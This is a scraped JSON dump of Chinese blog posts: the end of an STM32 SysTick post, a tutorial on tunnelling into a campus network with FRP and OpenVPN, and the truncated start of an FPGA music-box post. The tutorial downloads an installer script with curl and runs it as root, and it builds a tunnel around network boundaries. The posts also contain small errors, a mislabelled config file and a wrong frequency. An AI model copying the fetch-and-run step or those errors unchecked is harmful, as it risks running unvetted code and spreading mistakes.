class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e \u003cstrong\u003e函数 \u003ccode\u003eHAL_SYSTICK_CLKSourceConfig()\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Configures the SysTick clock source. * @param CLKSource specifies the SysTick clock source. * This parameter can be one of the following values: * @arg SYSTICK_CLKSOURCE_HCLK_DIV8: AHB clock divided by 8 selected as SysTick clock source. * @arg SYSTICK_CLKSOURCE_HCLK: AHB clock selected as SysTick clock source. * @retval None */\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e CLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Check the parameters */\u003c/span\u003e \u003cspan class=\"token function\"\u003eassert_param\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eIS_SYSTICK_CLK_SOURCE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e|=\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e\u0026amp;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/blockquote\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e最后看下来就是 \u003cstrong\u003e设置重装载值,使能,检查标志位\u003c/strong\u003e 这三个步骤。\u003c/p\u003e\u003cp\u003e还有就是书上讲的是比较清楚详细的。\u003cspan class=\"diana_jiayou\"\u003e\u003c/span\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/463a/"},{"title":"使用FRP和OpenVPN实现校园网内网穿透","time":"2022-05-11T16:52:34Z","content":"\u003ch1 id=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003ca href=\"#使用FRP和OpenVPN实现校园网内网穿透\" class=\"headerlink\" title=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003c/a\u003e使用FRP和OpenVPN实现校园网内网\u003chr /\u003e\u003ch1 id=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003ca href=\"#使用FRP和OpenVPN实现校园网内网穿透\" class=\"headerlink\" title=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003c/a\u003e使用FRP和OpenVPN实现校园网内网穿透\u003c/h1\u003e\u003cp\u003e)因为手头闲置了一台腾讯云小水管,树莓派3b也没啥任务,就准备尝试一下内网穿透校园网。(学校自己的VPN也能用。)\u003c/p\u003e\u003cul\u003e\u003cli\u003e公网云服务器:运行FRP服务端\u003c/li\u003e\u003cli\u003e公司内网服务器:运行FRP客户端、安装OpenVPN\u003c/li\u003e\u003cli\u003e手头的设备:安装OpenVPN客户端进行连接\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.spacesafe.top/archives/1557\"\u003e使用FRP和OpenVPN实现内网穿透 – EI_’s Blog (spacesafe.top)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/kxwinxp/article/details/88428053\"\u003eCentOS下搭建Frp内网穿透服务_宁静致远kioye的博客-CSDN博客_centos frp\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.ywbj.cc/?p=663\"\u003eVPN设置,设置OpenVPN访问公司内网,图文详细 - 运维笔记(ywbj.cc)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"开个端口先\"\u003e\u003ca href=\"#开个端口先\" class=\"headerlink\" title=\"开个端口先\"\u003e\u003c/a\u003e开个端口先\u003c/h2\u003e\u003cp\u003e本次 frp 服务端监听 端口为 \u003cstrong\u003e\u003ccode\u003e11451\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003eOpenVPN 使用端口为 \u003cstrong\u003e\u003ccode\u003e21194\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e所以 在腾讯云管理控制台先把这两个端口开了\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003efrp是一个可用于内网穿透的高性能的反向代理应用,支持tcp、udp协议,为http和https协议提供了额外的能力,且尝试性支持了点对点穿透。\u003c/p\u003e\u003cp\u003eFRP采用GO语言开发,支持windows linux MacOS 等多平台部署\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"安装-frp-服务端与客户端\"\u003e\u003ca href=\"#安装-frp-服务端与客户端\" class=\"headerlink\" title=\"安装 frp 服务端与客户端\"\u003e\u003c/a\u003e安装 frp 服务端与客户端\u003c/h2\u003e\u003cp\u003e因为网络问题选择先下载好再上传\u003c/p\u003e\u003cp\u003efrp 项目地址: \u003ca href=\"https://github.com/fatedier/frp/releases\"\u003eReleases · fatedier\u0026#x2F;frp (github.com)\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"服务端\"\u003e\u003ca href=\"#服务端\" class=\"headerlink\" title=\"服务端\"\u003e\u003c/a\u003e服务端\u003c/h3\u003e\u003cp\u003e在云服务器上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_amd64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_amd64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003ebind_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 默认配置中监听的是 7000 端口,可根据自己实际情况修改。\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 服务端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e./frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frps.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"客户端\"\u003e\u003ca href=\"#客户端\" class=\"headerlink\" title=\"客户端\"\u003e\u003c/a\u003e客户端\u003c/h3\u003e\u003cp\u003e在树莓派上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_arm64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_arm64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# * 改为 FRP 服务端的公网 IP\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 为 FRP 服务端监听端口 上面配置端口对应\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_tcp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e tcp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_udp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e udp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# server_addr 为 FRP 服务端的公网 IP\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# server_port 为 FRP 服务端监听的端口\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 客户端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 先确保服务端启动了再启动客户端\u003c/span\u003e./frpc \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frpc.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样 frp 服务端就可以建立一个客户端连接了\u003c/p\u003e\u003ch3 id=\"设置-frp-开机自启\"\u003e\u003ca href=\"#设置-frp-开机自启\" class=\"headerlink\" title=\"设置 frp 开机自启\"\u003e\u003c/a\u003e设置 frp 开机自启\u003c/h3\u003e\u003cp\u003e客户端服务端操作大同小异\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e客户端是 \u003cstrong\u003e\u003ccode\u003efrpc\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrpc.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e服务端是 \u003cstrong\u003e\u003ccode\u003efrps\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrps.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e创建后台启动模版(服务端为例)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/systemd/system/frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eExecStart\u003c/code\u003e 根据自己放 \u003ccode\u003efrp\u003c/code\u003e 的目录选\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eUnit\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eDescription\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003efrps\u003cspan class=\"token assign-left variable\"\u003eAfter\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enetwork.target\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eService\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eExecStart\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/home/yk/frp/frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e /home/yk/frp/frps.ini\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eInstall\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eWantedBy\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003emulti-user.target\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 启动测试\u003c/span\u003esystemctl start frps.service\u003cspan class=\"token comment\"\u003e# 查看启动状态\u003c/span\u003esystemctl status frps.service\u003cspan class=\"token comment\"\u003e# 开机自启\u003c/span\u003esystemctl \u003cspan class=\"token builtin class-name\"\u003eenable\u003c/span\u003e frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"OpenVPN-配置\"\u003e\u003ca href=\"#OpenVPN-配置\" class=\"headerlink\" title=\"OpenVPN 配置\"\u003e\u003c/a\u003eOpenVPN 配置\u003c/h2\u003e\u003cp\u003e在树莓派上操作(与运行)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里使用tun模式、tcp模式,比较容易搭建。手动搭建比较繁琐,我是直接使用一键搭建脚本。\u003c/p\u003e\u003cp\u003e脚本地址:\u003ca href=\"https://github.com/angristan/openvpn-install\"\u003ehttps://github.com/angristan/openvpn-install\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ecurl\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-O\u003c/span\u003e https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh\u003cspan class=\"token function\"\u003echmod\u003c/span\u003e +x openvpn-install.sh\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e ./openvpn-install.sh\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e因为这里我没截图,就用参考博客的图了\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/frp_openvpn/3.webp\" alt=\"3\"\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/frp_openvpn/4.webp\" alt=\"4\"\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/frp_openvpn/5.webp\" alt=\"5\"\u003e\u003c/p\u003e\u003cp\u003e然后启动 OpenVPN\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e# 启动测试systemctl start openvpn.service# 查看启动状态systemctl status openvpn.service# 开机自启systemctl enable openvpn.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在安装完成后,会生成一个以刚刚命名好的ovpn文件。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/frp_openvpn/6.webp\" alt=\"6\"\u003e\u003c/p\u003e\u003cp\u003e把这玩意下载下来\u003c/p\u003e\u003cp\u003e然后用文本编辑器打开并修改一处(应该是第三行)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eremote xxx.xxx.xxx.xxx \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#将默认的1194端口改成FRP转发端口21194(上面FRP客户端配置文件配置的)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e安装完成再次运行脚本,可选择 1)添加用户 2)移除已存在的用户 3)协助软件 4)退出\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"进行连接\"\u003e\u003ca href=\"#进行连接\" class=\"headerlink\" title=\"进行连接\"\u003e\u003c/a\u003e进行连接\u003c/h2\u003e\u003cp\u003e我是在手机上测试的\u003c/p\u003e\u003cp\u003e安装 OpenVPN 客户端,选择我们修改好的 ovpn 文件,连接\u003c/p\u003e\u003cp\u003e)就是速度嘛,理解万岁,看了看论坛还行\u003cspan class=\"carol_shuileshuile\"\u003e\u003c/span\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/24b6/"},{"title":"【fpga4fun】Music box","time":"2022-05-08T17:12:44Z","content":"\u003ch1 id=\"fpga4fun-Music-box\"\u003e\u003ca href=\"#fpga4fun-Music-box\" class=\"headerlink\" title=\"[fpga4fun] Music box\"\u003e\u003c/a\u003e[fpga4fun] Music box\u003c/h1\u003e\u003cbloc\u003chr /\u003e\u003ch1 id=\"fpga4fun-Music-box\"\u003e\u003ca href=\"#fpga4fun-Music-box\" class=\"headerlink\" title=\"[fpga4fun] Music box\"\u003e\u003c/a\u003e[fpga4fun] Music box\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e还没整完。\u003c/p\u003e\u003cp\u003eUPDATE1 AT: 2022-12-22 继续完成了Music box 2 这一部分\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e因为在学校收了一块野火征途mini FPGA开发板,在看的是配套的视频教程。群里学长推荐我做一做 fpga4fun 上的东西,那就整一整 ~\u003c/p\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"#简介\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cp\u003e这个项目是用 FPGA 驱动喇叭发出声音和音乐。\u003c/p\u003e\u003cp\u003e硬件连接为 FPGA 开发板,一个喇叭,一个 1kΩ 电阻。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBox.jpg\"\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBoxSchematic.gif\"\u003e\u003c/p\u003e\u003ch2 id=\"Music-box-1-Simple-beep\"\u003e\u003ca href=\"#Music-box-1-Simple-beep\" class=\"headerlink\" title=\"Music box 1 -Simple beep\"\u003e\u003c/a\u003eMusic box 1 -Simple beep\u003c/h2\u003e\u003ch3 id=\"计数与频率\"\u003e\u003ca href=\"#计数与频率\" class=\"headerlink\" title=\"计数与频率\"\u003e\u003c/a\u003e计数与频率\u003c/h3\u003e\u003cp\u003e一个16位的计数器,范围位 0 ~ 65535 共65536个值,如果板子的主频为 25M ,如果在上升沿计数(时钟是个方波),那么这个16位计数器最高位对应的频率便为 $25\\times10^6\\div65536\u0026#x3D;381Hz$ \u003cstrong\u003e(就是加到对应那一位变化之后算一次)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e以此类推第15位为 $25\\times10^6\\div32768\u0026#x3D;762Hz$ , 第14位为 $25\\times10^6\\div16384\u0026#x3D;1525Hz$ …… 第2位为$25\\times10^6\\div4\u0026#x3D;6.25\\times10^6Hz$ , 第1位为$25\\times10^6\\div2\u0026#x3D;15.5\\times10^6Hz$\u003c/p\u003e\u003ch3 id=\"产生-A-的声音\"\u003e\u003ca href=\"#产生-A-的声音\" class=\"headerlink\" title=\"产生 A 的声音\"\u003e\u003c/a\u003e产生 A 的声音\u003c/h3\u003e\u003cp\u003eA 的频率为 440Hz \u003c/p\u003e\u003cp\u003e以 25M 主频为例,产生440Hz可以先使用16位计数器,将 25M 分为 65536 份,此时计算出产生 440Hz 只需要计数到 56818 即可。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token 